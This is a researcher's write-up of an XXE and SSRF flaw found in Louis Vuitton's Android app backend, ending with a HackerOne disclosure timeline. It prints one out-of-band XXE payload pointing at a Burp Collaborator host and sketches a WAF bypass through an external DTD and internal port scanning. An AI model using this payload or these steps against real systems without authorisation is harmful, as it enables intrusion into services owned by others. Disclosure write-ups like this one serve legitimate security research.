One year ago I was testing Louis Vuitton's android application out of curiosity. So I fired up my android smartphone (Nexus 5) with Frida server installed and started intercepting requests with Burp Suite by bypassing SSL Pinning.
The first thing I've noticed was the login requests. All login/register actions were connected to secure.louisvuitton.com and also the Forgot Password action. That time I focused on the forgot password API because they can lead to high vulnerabilities sometimes.
After some recon, I started fuzzing on /rest/model/atg/userprofiling/ProfileActor/forgotPassword function but nothing came out than some errors of Java that lead me to understand they were using JBoss as backend.
Nothing out yet, but I didn't lose hope and I continued testing until I tried to change the POST data content-type to application/XML. The web application was accepting XML as inputs so I've started firing XML injections payload and similar and I got many XML syntax related errors. But also here I didn't find anything. I didn't give up and tried some Out of Band XXE payloads and got a hit! The specified payload was :
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!DOCTYPE root PUBLIC "-//B/EN" "http://x.burpcollaborator.com//"><root>a0e5c</root>
With this payload I got an interaction at Burp Collaborator client window with 2 different requests, one with DNS and the other with HTTP. This meant that the backend was parsing XML in an unsafe manner and I was able to inject XML and exploit the enabled External Entity resolution.
But there was some real problem to deal with, the WAF. The WAF was pretty good in interfering with my tests as it was likely blocking all possible "strange" strings like /etc/passwd and similar, so I couldn't try to read files.
After some tests, I tried to inject an XML payload that would have loaded an external DTD file with some other payloads and the WAF didn't block that because the requests were coming from the backend itself.
Now that I had bypassed the WAF I tried to do some Internal Port scanning and I found the port 22 to be open, but the parser was expecting HTML output format, so the action just gave back an error about an Invalid HTTP Response. Here there are 2 screenshots about the internal port scanning.
After a while, I've found that almost all APIs endpoints were vulnerable to XXE/SSRF. I've reported this high vulnerability with the help of HackerOne Disclosure Assistance.
Here is Advisory Timeline: (keep in mind that once per month I asked for news)
Apr 29th, 2019 - Disclosure on HackerOne Disclosure Assistance
May 23rd, 2019 - Hackerone staff answer and triage vulnerability
Jun 20th, 2019 - Hackerone staff answer saying they tried to reach out Louis Vuitton team
Sep 12th, 2019 - Hackerone staff answer saying they reached out and will update me
Dec 27th, 2019 - I state that all vulnerabilities have been patched without letting responding
May 16th, 2020 - No updates, this article came out.